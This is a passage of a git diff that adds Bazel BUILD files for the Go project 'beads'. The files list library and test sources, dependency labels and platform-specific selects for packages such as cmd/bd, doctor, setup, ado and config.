"export_test.go", + "external_ref_test.go", + "federation_embedded_test.go", + "feedback_test.go", + "field_mutation_proxied_integration_test.go", + "find_duplicates_embedded_test.go", + "find_duplicates_test.go", + "flags_test.go", + "flatten_embedded_test.go", + "formula_fixture_proxied_test.go", + "formula_help_test.go", + "formula_primitives_test.go", + "formula_schema_test.go", + "gate_check_proxied_integration_test.go", + "gate_discover_test.go", + "gate_embedded_test.go", + "gate_frontdoor_parity_integration_test.go", + "gate_lifecycle_proxied_integration_test.go", + "gate_routing_test.go", + "gate_test.go", + "gc_embedded_test.go", + "gc_prune_test.go", + "git_repo_template_test.go", + "gitlab_test.go", + "global_identity_integration_test.go", + "gomodcache_rehome_test.go", + "graph_apply_execution_test.go", + "graph_apply_execution_unit_test.go", + "graph_apply_test.go", + "graph_embedded_test.go", + "graph_export_test.go", + "graph_proxied_integration_test.go", + "graph_test.go", + "graph_visual_test.go", + "heartbeat_proxied_integration_test.go", + "help_all_test.go", + "helpers_test.go", + "history_embedded_test.go", + "history_full_hash_test.go", + "history_proxied_integration_test.go", + "history_remote_frontdoor_matrix_test.go", + "hooks_embedded_test.go", + "hooks_exec_composition_test.go", + "hooks_export_staged_deletion_test.go", + "hooks_export_worktree_test.go", + "hooks_guard_test.go", + "hooks_husky_test.go", + "hooks_marker_skip_test.go", + "hooks_post_merge_import_test.go", + "hooks_timeout_process_test.go", + "hooks_worktree_test.go", + "human_embedded_test.go", + "human_proxied_integration_test.go", + "human_test.go", + "identity_preview_gate_cgo_test.go", + "identity_preview_gate_test.go", + "identity_preview_refusal_test.go", + "import_chunking_embedded_test.go", + "import_chunking_test.go", + "import_embedded_test.go", + "import_from_jsonl_test.go", + "import_global_prefix_isolation_test.go", + "import_orphan_embedded_test.go", + "import_promoted_wisp_embedded_test.go", + "import_proxied_integration_test.go", + "import_shared_unit_test.go", + "import_sync_prefix_test.go", + "info_embedded_test.go", + "info_kv_exclusion_test.go", + "info_proxied_integration_test.go", + "info_test.go", + "init_commit_test.go", + "init_embedded_test.go", + "init_gateway_test.go", + "init_guard_test.go", + "init_hooks_test.go", + "init_metrics_test.go", + "init_mode_inherit_test.go", + "init_noninteractive_test.go", + "init_permissions_test.go", + "init_policy_test.go", + "init_proxied_if_missing_test.go", + "init_proxied_server_test.go", + "init_registered_backend_test.go", + "init_remote_test.go", + "init_safety_test.go", + "init_server_flags_test.go", + "init_stealth_test.go", + "init_team_server_test.go", + "init_test.go", + "init_worktree_test.go", + "jira_max_rows_gate_test.go", + "jira_test.go", + "kv_embedded_test.go", + "kv_proxied_integration_test.go", + "kv_test.go", + "label_embedded_test.go", + "label_list_all_test.go", + "label_normalization_test.go", + "label_proxied_integration_test.go", + "label_test.go", + "label_whitespace_warn_test.go", + "last_touched_guard_test.go", + "last_touched_test.go", + "legacy_upgrade_guard_config_yaml_test.go", + "legacy_upgrade_guard_e2e_test.go", + "legacy_upgrade_guard_test.go", + "legacy_upgrade_guard_witness_test.go", + "linear_test.go", + "lint_embedded_test.go", + "lint_stale_proxied_integration_test.go", + "list_embedded_test.go", + "list_footer_counts_test.go", + "list_format_json_test.go", + "list_helpers_test.go", + "list_limit_policy_test.go", + "list_output_test.go", + "list_proxied_integration_test.go", + "list_proxied_watch_max_rows_test.go", + "list_ready_brief_test.go", + "list_roles_test.go", + "list_skip_labels_test.go", + "list_test.go", + "list_tree_deps_test.go", + "list_wisp_type_reachability_test.go", + "lite_filter_spy_test.go", + "main_config_debug_test.go", + "main_errors_test.go", + "main_test.go", + "maintenance_commands_proxied_integration_test.go", + "markdown_test.go", + "max_rows_test.go", + "memory_embedded_test.go", + "memory_proxied_integration_test.go", + "memory_pure_test.go", + "messaging_test.go", + "metadata_edits_test.go", + "metadata_filter_test.go", + "metadata_flag_test.go", + "metadata_ready_test.go", + "metadataless_server_workspace_test.go", + "metrics_test.go", + "migrate_dolt_mode_test.go", + "migrate_embedded_test.go", + "migrate_force_test.go", + "migrate_hooks_apply_test.go", + "migrate_hooks_test.go", + "migrate_issues_max_rows_gate_test.go", + "migrate_personal_test.go", + "migrate_repo_id_notice_test.go", + "migrate_schema_identity_order_test.go", + "migrate_test.go", + "migration_freeze_gate_test.go", + "mol_bond_compound_label_test.go", + "mol_bond_gwn_test.go", + "mol_bond_proxied_integration_test.go", + "mol_bond_test.go", + "mol_burn_proxied_integration_test.go", + "mol_current_proxied_integration_test.go", + "mol_distill_proxied_integration_test.go", + "mol_distill_test.go", + "mol_embedded_test.go", + "mol_frontdoor_managed_local_integration_test.go", + "mol_frontdoor_parity_integration_test.go", + "mol_last_activity_proxied_integration_test.go", + "mol_progress_proxied_integration_test.go", + "mol_ready_gated_flag_test.go", + "mol_ready_gated_proxied_integration_test.go", + "mol_ready_gated_test.go", + "mol_show_proxied_integration_test.go", + "mol_squash_embedded_test.go", + "mol_squash_proxied_integration_test.go", + "mol_stale_proxied_integration_test.go", + "mol_test.go", + "mol_wisp_proxied_var_validation_test.go", + "no_color_test.go", + "nocow_linux_test.go", + "nocow_test.go", + "note_test.go", + "notion_store_test.go", + "notion_test.go", + "onboard_embedded_test.go", + "onboard_test.go", + "orphans_embedded_test.go", + "orphans_proxied_integration_test.go", + "orphans_test.go", + "output_test.go", + "pour_proxied_integration_test.go", + "pour_wisp_var_validation_test.go", + "preflight_test.go", + "prime_divergence_test.go", + "prime_embedded_test.go", + "prime_gemini_hook_test.go", + "prime_memory_caps_test.go", + "prime_proxied_integration_test.go", + "prime_test.go", + "promote_embedded_test.go", + "promote_proxied_integration_test.go", + "prompt_test.go", + "provenance_test.go", + "proxied_direct_only_refusal_frontdoor_test.go", + "proxied_integration_helpers_test.go", + "proxied_local_dolt_lifecycle_test.go", + "proxied_local_helpers_test.go", + "proxied_local_identity_lifecycle_linux_test.go", + "proxied_local_lifecycle_linux_test.go", + "proxied_local_listener_policy_linux_test.go", + "proxied_lookup_failure_test.go", + "proxied_outage_reconnect_integration_test.go", + "proxied_server_test.go", + "proxied_shared_harness_test.go", + "proxied_workflow_refusal_frontdoor_test.go", + "proxy_capability_test.go", + "prune_embedded_test.go", + "prune_proxied_integration_test.go", + "purge_embedded_test.go", + "purge_test.go", + "query_embedded_test.go", + "query_limit_policy_test.go", + "query_proxied_integration_test.go", + "quick_embedded_test.go", + "quick_todo_proxied_integration_test.go", + "quickstart_embedded_test.go", + "race_detector_off_test.go", + "race_detector_on_test.go", + "readonly_policy_test.go", + "readonly_test.go", + "ready_embedded_test.go", + "ready_input_test.go", + "ready_max_rows_proxied_test.go", + "ready_max_rows_test.go", + "ready_proxied_integration_test.go", + "ready_role_request_test.go", + "ready_test.go", + "ready_wisp_proxied_integration_test.go", + "reclaim_test.go", + "recompute_blocked_proxied_integration_test.go", + "registered_backend_workspace_paths_test.go", + "relate_proxied_integration_test.go", + "relate_test.go", + "relational_proxied_integration_test.go", + "remote_migrate_gate_test.go", + "remote_sync_open_test.go", + "removed_backend_heal_embedded_test.go", + "rename_prefix_embedded_test.go", + "rename_prefix_repair_test.go", + "rename_prefix_rewrite_test.go", + "rename_prefix_test.go", + "rename_prefix_worktree_test.go", + "reopen_embedded_test.go", + "reopen_proxied_integration_test.go", + "reopen_test.go", + "repair_deps_test.go", + "reset_global_guard_test.go", + "reset_hook_ownership_test.go", + "reset_worktree_test.go", + "resolve_dolt_server_connection_test.go", + "restore_embedded_test.go", + "restore_test.go", + "root_context_lifecycle_test.go", + "routed_test.go", + "routing_notice_test.go", + "routing_read_test.go", + "rules_test.go", + "sandbox_test.go", + "schema_skew_test.go", + "schema_test.go", + "search_embedded_test.go", + "search_proxied_integration_test.go", + "search_test.go", + "serve_batch_close_proxied_integration_test.go", + "serve_claim_next_proxied_integration_test.go", + "serve_claim_proxied_integration_test.go", + "serve_close_proxied_integration_test.go", + "serve_comment_proxied_integration_test.go", + "serve_config_write_proxied_integration_test.go", + "serve_count_proxied_integration_test.go", + "serve_create_proxied_integration_test.go", + "serve_delete_proxied_integration_test.go", + "serve_dependencies_proxied_integration_test.go", + "serve_edge_counts_proxied_integration_test.go", + "serve_inprocess_test.go", + "serve_list_sort_proxied_integration_test.go", + "serve_proxied_integration_test.go", + "serve_read_revision_proxied_integration_test.go", + "serve_reads_parity_integration_test.go", + "serve_registered_backend_test.go", + "serve_related_proxied_integration_test.go", + "serve_release_proxied_integration_test.go", + "serve_server_mode_integration_test.go", + "serve_source_test.go", + "serve_store_identity_test.go", + "serve_test.go", + "serve_update_proxied_integration_test.go", + "set_state_proxied_integration_test.go", + "setup_embedded_test.go", + "setup_test.go", + "shared_migrate_consent_test.go", + "shared_server_cfgnil_test.go", + "shared_server_cleanup_test.go", + "shared_server_integration_test.go", + "shared_store_migrate_gate_test.go", + "ship_embedded_test.go", + "show_brief_deps_test.go", + "show_current_test.go", + "show_details_json_test.go", + "show_embedded_test.go", + "show_format_metadata_test.go", + "show_not_found_hint_test.go", + "show_proxied_integration_test.go", + "show_proxied_reader_test.go", + "show_unit_helpers_test.go", + "show_watch_test.go", + "simple_helpers_test.go", + "skip_store_annotation_test.go", + "sql_multistatement_proxied_integration_test.go", + "sql_multistatement_test.go", + "sql_proxied_integration_test.go", + "sql_test.go", + "stale_embedded_test.go", + "stale_test.go", + "state_embedded_test.go", + "state_proxied_integration_test.go", + "state_test.go", + "status_embedded_test.go", + "status_proxied_integration_test.go", + "status_test.go", + "statuses_types_proxied_integration_test.go", + "stdio_race_guard_test.go", + "storage_chain_test.go", + "storage_class_embedded_test.go", + "storage_class_proxied_integration_test.go", + "storage_class_pure_test.go", + "store_factory_nocgo_test.go", + "store_factory_test.go", + "store_reopen_embedded_resolution_test.go", + "store_reopen_test.go", + "store_selection_failloud_nocgo_test.go", + "store_selection_failloud_test.go", + "store_selection_removed_backend_test.go", + "suite_temp_test.go", + "supersede_embedded_test.go", + "swarm_embedded_test.go", + "swarm_proxied_integration_test.go", + "swarm_ready_fronts_test.go", + "sync_git_test.go", + "sync_is_scoped_test.go", + "sync_issues_flag_test.go", + "sync_parent_flag_test.go", + "sync_push_pull_test.go", + "sync_remote_fixture_test.go", + "sync_remote_test.go", + "sync_test.go", + "telemetry_scrub_test.go", + "template_test.go", + "test_dolt_server_cgo_test.go", + "test_helpers_pure_test.go", + "test_helpers_test.go", + "test_repo_beads_guard_darwin_test.go", + "test_repo_beads_guard_test.go", + "test_wait_helper_test.go", + "thread_test.go", + "tips_example_test.go", + "tips_test.go", + "todo_embedded_test.go", + "tracker_frontdoor_proxy_test.go", + "tracker_proxy_uow_conformance_integration_test.go", + "types_embedded_test.go", + "unclaim_conditional_embedded_test.go", + "unclaim_conditional_parity_test.go", + "unclaim_embedded_test.go", + "unclaim_proxied_integration_test.go", + "unclaim_test.go", + "undefer_embedded_test.go", + "uninstall_config_test.go", + "uow_factory_server_mode_test.go", + "uow_factory_test.go", + "update_claim_proxied_test.go", + "update_close_policy_proxied_integration_test.go", + "update_close_policy_test.go", + "update_conditional_embedded_test.go", + "update_conditional_proxied_test.go", + "update_description_guard_test.go", + "update_embedded_test.go", + "update_lifecycle_test.go", + "update_metadata_test.go", + "update_multi_id_exit_test.go", + "update_notes_warning_test.go", + "update_proxied_integration_test.go", + "update_proxied_server_test.go", + "update_stray_positional_test.go", + "user_config_path_windows_test.go", + "utils_unit_test.go", + "vc_embedded_test.go", + "vc_recompute_test.go", + "vc_test.go", + "verbosity_quiet_embedded_test.go", + "version_embedded_test.go", + "version_test.go", + "version_tracking_test.go", + "where_cgo_test.go", + "where_embedded_test.go", + "where_test.go", + "wisp_gc_active_embedded_test.go", + "wisp_gc_purge_closed_embedded_test.go", + "wisp_proxied_integration_test.go", + "wisp_test.go", + "workspace_gate_test.go", + "workspace_identity_test.go", + "worktree_cmd_test.go", + "worktree_permissions_test.go", + "worktree_remove_cmd_test.go", + "worktree_remove_git_test.go", + "worktree_remove_git_windows_test.go", + "worktree_remove_test.go", + "worktree_remove_windows_test.go", + "worktree_test.go", + "write_verbs_parity_test.go", + "zz_stdio_leak_guard_test.go", + ], + data = glob(["testdata/**"]), + embed = [":bd_lib"], + deps = [ + "//:beads", + "//cmd/bd/doctor", + "//internal/ado", + "//internal/beads", + "//internal/config", + "//internal/configfile", + "//internal/debug", + "//internal/doltremote", + "//internal/doltserver", + "//internal/eventsjournal", + "//internal/formula", + "//internal/git", + "//internal/hooks", + "//internal/httpapi", + "//internal/linear", + "//internal/metrics", + "//internal/migration", + "//internal/molecules", + "//internal/notion", + "//internal/procid", + "//internal/recipes", + "//internal/routing", + "//internal/storage", + "//internal/storage/backends", + "//internal/storage/contextinfo", + "//internal/storage/dbproxy/pidfile", + "//internal/storage/dbproxy/proxy", + "//internal/storage/dbproxy/server", + "//internal/storage/dbproxy/util", + "//internal/storage/depid", + "//internal/storage/dolt", + "//internal/storage/doltutil", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/storage/externaldeps", + "//internal/storage/issueops", + "//internal/storage/journalscan", + "//internal/storage/kvkeys", + "//internal/storage/schema", + "//internal/storage/uow", + "//internal/storage/versioncontrolops", + "//internal/telemetry", + "//internal/testutil", + "//internal/tracker", + "//internal/types", + "//internal/ui", + "//internal/uimd", + "//internal/utils", + "//internal/workapi", + "//internal/workspacegate", + "//internal/worktreeremove", + "//issueops", + "//memoryops", + "@com_github_charmbracelet_x_ansi//:ansi", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_dolthub_dolt_go//libraries/doltcore/servercfg", + "@com_github_dolthub_dolt_go//libraries/utils/filesys", + "@com_github_dolthub_dolt_go//store/blobstore", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_spf13_cobra//:cobra", + "@com_github_spf13_pflag//:pflag", + "@com_github_stretchr_testify//assert", + "@com_github_stretchr_testify//require", + "@land_charm_lipgloss_v2//:lipgloss", + "@org_golang_x_sync//errgroup", + "@org_golang_x_term//:term", + ] + select({ + "@rules_go//go/platform:aix": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:android": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:darwin": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:dragonfly": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:freebsd": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:illumos": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:ios": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:linux": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:netbsd": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:openbsd": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:solaris": [ + "//internal/tracker/conformance", + ], + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) diff --git a/cmd/bd/doctor/BUILD.bazel b/cmd/bd/doctor/BUILD.bazel new file mode 100644 index 000000000..29f3ad144 --- /dev/null +++ b/cmd/bd/doctor/BUILD.bazel @@ -0,0 +1,164 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "doctor", + srcs = [ + "agent.go", + "artifacts.go", + "backend.go", + "blocked.go", + "circuit.go", + "claude.go", + "clone_local_fks.go", + "config_values.go", + "cross_table.go", + "cursor.go", + "database.go", + "deep.go", + "dep_keys.go", + "dependency_sql.go", + "dolt.go", + "federation.go", + "fresh_clone_server.go", + "git.go", + "gitignore.go", + "hooks_migration.go", + "installation.go", + "integrity.go", + "kv.go", + "label_whitespace.go", + "legacy.go", + "locks.go", + "maintenance.go", + "managed_handoff.go", + "migration.go", + "migration_skew.go", + "migration_validation.go", + "multirepo.go", + "nocow.go", + "nocow_linux.go", + "nocow_other.go", + "perf.go", + "perf_dolt.go", + "quick.go", + "remotes.go", + "role.go", + "server.go", + "shared_store.go", + "suppress.go", + "tracked_runtime.go", + "types.go", + "validation.go", + "version.go", + ], + importpath = "github.com/steveyegge/beads/cmd/bd/doctor", + visibility = ["//visibility:public"], + deps = [ + "//cmd/bd/doctor/fix", + "//cmd/bd/setup", + "//internal/beads", + "//internal/config", + "//internal/configfile", + "//internal/doltremote", + "//internal/doltserver", + "//internal/git", + "//internal/storage", + "//internal/storage/dberrors", + "//internal/storage/dolt", + "//internal/storage/doltutil", + "//internal/storage/embeddeddolt", + "//internal/storage/issueops", + "//internal/storage/kvkeys", + "//internal/storage/schema", + "//internal/types", + "//internal/utils", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_spf13_viper//:viper", + "@in_gopkg_yaml_v3//:yaml_v3", + ] + select({ + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "doctor_test", + srcs = [ + "agent_test.go", + "artifacts_test.go", + "bare_parent_fallback_test.go", + "claude_test.go", + "config_values_test.go", + "cursor_test.go", + "database_test.go", + "deep_test.go", + "dependency_sql_test.go", + "doctor_worktree_test.go", + "dolt_e2e_test.go", + "dolt_phantom_test.go", + "dolt_test.go", + "federation_test.go", + "fresh_clone_server_test.go", + "git_hygiene_test.go", + "git_repo_template_test.go", + "git_test.go", + "git_test_helpers_test.go", + "gitignore_test.go", + "hooks_migration_test.go", + "hooks_path_test.go", + "installation_test.go", + "integrity_cycles_db_test.go", + "integrity_cycles_mock_test.go", + "integrity_cycles_test.go", + "integrity_path_cgo_test.go", + "integrity_test.go", + "legacy_test.go", + "locks_test.go", + "maintenance_cgo_test.go", + "maintenance_test.go", + "managed_handoff_test.go", + "migration_hooks_test.go", + "migration_skew_dolt_test.go", + "migration_skew_embedded_test.go", + "migration_skew_test.go", + "migration_test.go", + "migration_validation_test.go", + "multirepo_test.go", + "nocow_test.go", + "perf_dolt_test.go", + "quick_test.go", + "role_test.go", + "server_backend_test.go", + "server_test.go", + "shared_store_test.go", + "suite_temp_test.go", + "suppress_test.go", + "test_helpers_test.go", + "testmain_nocgo_test.go", + "tracked_runtime_test.go", + "types_test.go", + "validation_test.go", + "version_test.go", + ], + embed = [":doctor"], + deps = [ + "//internal/beads", + "//internal/configfile", + "//internal/doltserver", + "//internal/git", + "//internal/storage/dolt", + "//internal/storage/doltutil", + "//internal/storage/embeddeddolt", + "//internal/storage/issueops", + "//internal/testutil", + "//internal/types", + "//internal/utils", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel new file mode 100644 index 000000000..9d7c15dc8 --- /dev/null +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -0,0 +1,97 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "fix", + srcs = [ + "artifacts.go", + "blocked.go", + "clone_local_fks.go", + "common.go", + "config_values.go", + "database_config.go", + "database_integrity.go", + "dep_keys.go", + "dependency_sql.go", + "dolt_format.go", + "fs.go", + "hooks.go", + "label_whitespace.go", + "locks.go", + "maintenance.go", + "metadata.go", + "metadata_json.go", + "migrate.go", + "permissions.go", + "remotes.go", + "repo_fingerprint.go", + "store.go", + "untracked.go", + "validation.go", + ], + importpath = "github.com/steveyegge/beads/cmd/bd/doctor/fix", + visibility = ["//visibility:public"], + deps = [ + "//internal/beads", + "//internal/configfile", + "//internal/doltserver", + "//internal/eventsjournal", + "//internal/storage", + "//internal/storage/depid", + "//internal/storage/dolt", + "//internal/storage/doltutil", + "//internal/storage/issueops", + "//internal/types", + "//internal/utils", + "@com_github_burntsushi_toml//:toml", + "@com_github_go_sql_driver_mysql//:mysql", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) + +go_test( + name = "fix_test", + srcs = [ + "artifacts_test.go", + "clone_local_fks_cgo_test.go", + "common_test.go", + "database_config_test.go", + "database_integrity_test.go", + "dep_keys_test.go", + "dependency_sql_test.go", + "e2e_test.go", + "fix_edge_cases_test.go", + "fix_test.go", + "fs_test.go", + "git_repo_template_test.go", + "hooks_test.go", + "journal_cgo_test.go", + "label_whitespace_test.go", + "locks_test.go", + "maintenance_cgo_test.go", + "maintenance_test.go", + "metadata_dolt_test.go", + "metadata_probe_test.go", + "metadata_test.go", + "migrate_import_test.go", + "remotes_test.go", + "repo_fingerprint_test.go", + "suite_temp_test.go", + "symlink_test.go", + "testmain_cgo_test.go", + "testmain_nocgo_test.go", + "validation_test.go", + ], + embed = [":fix"], + deps = [ + "//internal/configfile", + "//internal/doltserver", + "//internal/storage/depid", + "//internal/storage/dolt", + "//internal/storage/doltutil", + "//internal/storage/issueops", + "//internal/testutil", + "//internal/types", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel new file mode 100644 index 000000000..321f32fab --- /dev/null +++ b/cmd/bd/protocol/BUILD.bazel @@ -0,0 +1,49 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "protocol", + srcs = ["corpus.go"], + importpath = "github.com/steveyegge/beads/cmd/bd/protocol", + visibility = ["//visibility:public"], +) + +go_test( + name = "protocol_test", + srcs = [ + "assignee_test.go", + "blocked_status_test.go", + "blocked_test.go", + "blocking_semantics_test.go", + "canonicalize_test.go", + "child_id_test.go", + "children_test.go", + "close_guard_test.go", + "comments_test.go", + "corpus_test.go", + "defer_test.go", + "dep_identity_test.go", + "errors_contract_test.go", + "exit_codes_init_test.go", + "exit_codes_test.go", + "helpers_test.go", + "input_validation_test.go", + "interchange_test.go", + "json_contract_test.go", + "lease_claim_test.go", + "lifecycle_test.go", + "memory_contract_test.go", + "preservation_test.go", + "ready_front_test.go", + "roundtrip_test.go", + "stale_test.go", + "status_validation_test.go", + "versioning_contract_test.go", + "wp4_helpers_test.go", + ], + data = glob(["testdata/**"]), + embed = [":protocol"], + deps = [ + "//internal/storage/schema", + "//internal/testutil", + ], +) diff --git a/cmd/bd/setup/BUILD.bazel b/cmd/bd/setup/BUILD.bazel new file mode 100644 index 000000000..9d195a79a --- /dev/null +++ b/cmd/bd/setup/BUILD.bazel @@ -0,0 +1,56 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "setup", + srcs = [ + "agent_skill.go", + "agents.go", + "aider.go", + "claude.go", + "codex.go", + "constants.go", + "cursor.go", + "exit.go", + "factory.go", + "gemini.go", + "hooks_json.go", + "junie.go", + "mux.go", + "opencode.go", + "setup_test_helpers.go", + "utils.go", + ], + importpath = "github.com/steveyegge/beads/cmd/bd/setup", + visibility = ["//visibility:public"], + deps = [ + "//internal/config", + "//internal/recipes", + "//internal/templates", + "//internal/templates/agents", + "//internal/utils", + ], +) + +go_test( + name = "setup_test", + srcs = [ + "agents_marker_test.go", + "aider_test.go", + "claude_test.go", + "codex_test.go", + "cursor_test.go", + "factory_test.go", + "gemini_test.go", + "junie_test.go", + "mux_test.go", + "opencode_test.go", + "plugin_layout_test.go", + "utils_test.go", + ], + embed = [":setup"], + deps = [ + "//internal/templates", + "//internal/templates/agents", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) diff --git a/format/BUILD.bazel b/format/BUILD.bazel new file mode 100644 index 000000000..3f6bc1da5 --- /dev/null +++ b/format/BUILD.bazel @@ -0,0 +1,19 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "format", + srcs = ["format.go"], + importpath = "github.com/steveyegge/beads/format", + visibility = ["//visibility:public"], + deps = [ + "//internal/types", + "//internal/ui", + ], +) + +go_test( + name = "format_test", + srcs = ["format_test.go"], + embed = [":format"], + deps = ["//internal/types"], +) diff --git a/internal/ado/BUILD.bazel b/internal/ado/BUILD.bazel new file mode 100644 index 000000000..bdfc59ce1 --- /dev/null +++ b/internal/ado/BUILD.bazel @@ -0,0 +1,51 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "ado", + srcs = [ + "bootstrap.go", + "client.go", + "fieldmapper.go", + "links.go", + "mapping.go", + "reconcile.go", + "richtext.go", + "statetransition.go", + "tracker.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/internal/ado", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/config", + "//internal/storage", + "//internal/tracker", + "//internal/types", + "@com_github_johanneskaufmann_html_to_markdown_v2//:html-to-markdown", + "@com_github_microcosm_cc_bluemonday//:bluemonday", + "@com_github_yuin_goldmark//:goldmark", + "@com_github_yuin_goldmark//renderer/html", + ], +) + +go_test( + name = "ado_test", + srcs = [ + "bootstrap_test.go", + "client_test.go", + "links_test.go", + "mapping_test.go", + "reconcile_test.go", + "richtext_test.go", + "statetransition_test.go", + "tracker_test.go", + "types_test.go", + ], + embed = [":ado"], + deps = [ + "//internal/config", + "//internal/storage", + "//internal/tracker", + "//internal/types", + ], +) diff --git a/internal/atomicfile/BUILD.bazel b/internal/atomicfile/BUILD.bazel new file mode 100644 index 000000000..bc13a8982 --- /dev/null +++ b/internal/atomicfile/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "atomicfile", + srcs = ["atomicfile.go"], + importpath = "github.com/steveyegge/beads/internal/atomicfile", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "atomicfile_test", + srcs = ["atomicfile_test.go"], + embed = [":atomicfile"], +) diff --git a/internal/audit/BUILD.bazel b/internal/audit/BUILD.bazel new file mode 100644 index 000000000..7173c27c1 --- /dev/null +++ b/internal/audit/BUILD.bazel @@ -0,0 +1,21 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "audit", + srcs = ["audit.go"], + importpath = "github.com/steveyegge/beads/internal/audit", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/beads", + "//internal/config", + ], +) + +go_test( + name = "audit_test", + srcs = [ + "audit_test.go", + "concurrency_test.go", + ], + embed = [":audit"], +) diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel new file mode 100644 index 000000000..94bdfadff --- /dev/null +++ b/internal/beads/BUILD.bazel @@ -0,0 +1,43 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "beads", + srcs = [ + "beads.go", + "context.go", + "fingerprint.go", + ], + importpath = "github.com/steveyegge/beads/internal/beads", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/configfile", + "//internal/git", + "//internal/storage", + "//internal/storage/backends", + "//internal/utils", + ], +) + +go_test( + name = "beads_test", + srcs = [ + "beads_coverage_test.go", + "beads_inherited_artifacts_test.go", + "beads_test.go", + "context_test.go", + "cwd_priority_test.go", + "fingerprint_test.go", + "sqlite_database_path_test.go", + "suite_temp_test.go", + "testmain_default_test.go", + "testmain_test.go", + ], + embed = [":beads"], + deps = [ + "//internal/configfile", + "//internal/doltserver", + "//internal/git", + "//internal/testutil", + "//internal/utils", + ], +) diff --git a/internal/compact/BUILD.bazel b/internal/compact/BUILD.bazel new file mode 100644 index 000000000..4eeae10e3 --- /dev/null +++ b/internal/compact/BUILD.bazel @@ -0,0 +1,39 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "compact", + srcs = [ + "compactor.go", + "git.go", + "haiku.go", + ], + importpath = "github.com/steveyegge/beads/internal/compact", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/audit", + "//internal/beads", + "//internal/config", + "//internal/telemetry", + "//internal/types", + "@com_github_anthropics_anthropic_sdk_go//:anthropic-sdk-go", + "@com_github_anthropics_anthropic_sdk_go//option", + "@io_opentelemetry_go_otel//attribute", + "@io_opentelemetry_go_otel//codes", + "@io_opentelemetry_go_otel_metric//:metric", + ], +) + +go_test( + name = "compact_test", + srcs = [ + "compactor_unit_test.go", + "git_test.go", + "haiku_test.go", + ], + embed = [":compact"], + deps = [ + "//internal/config", + "//internal/types", + "@com_github_anthropics_anthropic_sdk_go//:anthropic-sdk-go", + ], +) diff --git a/internal/config/BUILD.bazel b/internal/config/BUILD.bazel new file mode 100644 index 000000000..4ac0fd486 --- /dev/null +++ b/internal/config/BUILD.bazel @@ -0,0 +1,65 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "config", + srcs = [ + "agent_profile.go", + "config.go", + "permissions.go", + "permissions_open_linux.go", + "permissions_open_nonlinux.go", + "permissions_windows.go", + "repos.go", + "sync.go", + "user_config_path.go", + "yaml_config.go", + ], + importpath = "github.com/steveyegge/beads/internal/config", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/debug", + "@com_github_spf13_viper//:viper", + "@in_gopkg_yaml_v3//:yaml_v3", + ] + select({ + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "//conditions:default": [], + }), +) + +go_test( + name = "config_test", + srcs = [ + "agents_file_test.go", + "config_test.go", + "permissions_linux_test.go", + "permissions_test.go", + "repos_test.go", + "sync_test.go", + "testmain_test.go", + "user_config_path_test.go", + "user_config_path_windows_test.go", + "worktree_config_test.go", + "yaml_config_test.go", + "yaml_nested_roundtrip_test.go", + "yaml_unset_newline_test.go", + ], + embed = [":config"], + deps = [ + "//internal/git", + "@com_github_spf13_viper//:viper", + "@in_gopkg_yaml_v3//:yaml_v3", + ] + select({ + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "//conditions:default": [], + }), +) diff --git a/internal/configfile/BUILD.bazel b/internal/configfile/BUILD.bazel new file mode 100644 index 000000000..fdfb88536 --- /dev/null +++ b/internal/configfile/BUILD.bazel @@ -0,0 +1,34 @@ +load("@rules_go//go:def.bzl", 